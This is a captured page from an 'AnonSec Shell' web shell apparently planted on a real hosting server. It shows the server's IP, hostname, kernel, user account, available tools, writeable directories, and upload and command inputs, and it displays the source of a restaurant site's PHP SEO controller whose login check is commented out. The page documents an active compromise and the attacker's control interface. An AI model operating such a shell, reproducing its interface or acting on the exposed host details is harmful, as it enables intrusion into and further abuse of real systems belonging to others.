AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.36
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_projetos/sopizzas/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_projetos/sopizzas/application/controllers/seomanagement.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
session_start(); //we need to call PHP's session object to access it through CI
class SeoManagement extends MY_Restaurant {

  function __construct()
  {
     parent::__construct();
     $this->load->helper("url");
     $this->load->helper('form');
     $this->load->library('form_validation');
     $this->load->library('javascript'); 
     $this->load->library('Ajax_pagination');
     $this->perPage = ROW_PER_PAGE;
     $this->load->model('restaurantmanagement_model');
     $session_data = $this->session->userdata('logged_in');
     //if(empty($session_data)) { redirect('superadmin', 'refresh'); }    
     if($this->session->userdata('user_language'))
      {
        $language = $this->session->userdata('user_language');
      }
      else
      {
        $language = $this->config->item("language");
      }
      $data['user_language'] =  $language;
      $this->lang->load('restaurantAdmin', $language);
  }

  function index( $offset = 0 )
  {
    /*echo "<pre>";
    print_r ($this->input->post());
    echo "</pre>";
    exit();*/
   if ($this->input->server('REQUEST_METHOD') == 'POST') {
        $this->editSeo();
      }
      else {
        $this->showSeo();
      }
  }

  function showSeo() {

    $session_data = $this->session->userdata('logged_in_restaurant');
    $restaurant_id = $session_data['id']; 

    $data['SeoContent'] = $this->restaurantmanagement_model->get_seo_for_restaurant($restaurant_id);
  
    $data['title']="SEO";
    $data['page']="seo";  
    $this->load->view('restaurantadmin/header',$data);
    $this->load->view('restaurantadmin/main-sidebar');
    $this->load->view('restaurantadmin/seomanagement',$data);
    $this->load->view('restaurantadmin/footer');
  }

  function editSeo() {
    /*echo "<pre>";
    print_r ($this->input->post());
    echo "</pre>";
    exit();*/
    $session_data = $this->session->userdata('logged_in_restaurant');
    $restaurant_id = $session_data['id'];

      $this->db->trans_start();
      $data_up = array(
        'seo_meta_keyword'      =>  $this->input->post('seo_meta_keyword'),
        'seo_meta_description'  =>  $this->input->post('seo_meta_description'),
        'seo_meta_language'     =>  $this->input->post('seo_meta_language'),
        'seo_country'           =>  $this->input->post('seo_country'),
        'seo_state'             =>  $this->input->post('seo_state'),
        'seo_city'              =>  $this->input->post('seo_city')
      );
      $this->db->where('restaurant_id', $restaurant_id);
      $this->db->update('rt_restaurant', $data_up);
      $this->db->trans_complete();

      $this->session->set_flashdata('success_msg', 'SEO Setting is successfully updated');
      redirect('restaurantadmin/seomanagement');
  }

  function isCouponExist() {
    if($this->session->userdata('logged_in_restaurant')){
        $session_data = $this->session->userdata('logged_in_restaurant');
        $restaurant_id = $session_data['id']; 
    }else{
        $restaurant_id = 0; 
    }
    $coupon_code = $this->input->post('coupon_code');
    $offer_id = $this->input->post('EditId');
    $is_exist = $this->coupon_model->isCouponExist($offer_id, $coupon_code, $restaurant_id);
    if ($is_exist) {
      $this->form_validation->set_message('isCouponExist', 'Coupon Code already exist');
      return false;
    }
    else {
      return true;
    }
  }

  function isTimeOk() {
    $date1 = str_replace('/', '-', $this->input->post('offer_valid_from'));
    $date_array = explode('-', $date1);
    $date1 = $date_array[1]."-".$date_array[0]."-".$date_array[2];
    $offer_valid_from  = date("Y-m-d", strtotime($date1));
    $date2 = str_replace('/', '-', $this->input->post('offer_valid_to'));
    $date_array = explode('-', $date2);
    $date2 = $date_array[1]."-".$date_array[0]."-".$date_array[2];
    $offer_valid_to    = date("Y-m-d", strtotime($date2));
    if ($offer_valid_from > $offer_valid_to) {
      $this->form_validation->set_message('isTimeOk', 'Coupon Code Expire time should be greater than starting time.');
      return false;
    }
    else {
      return true;
    }
  }

}

Anon7 - 2022
AnonSec Team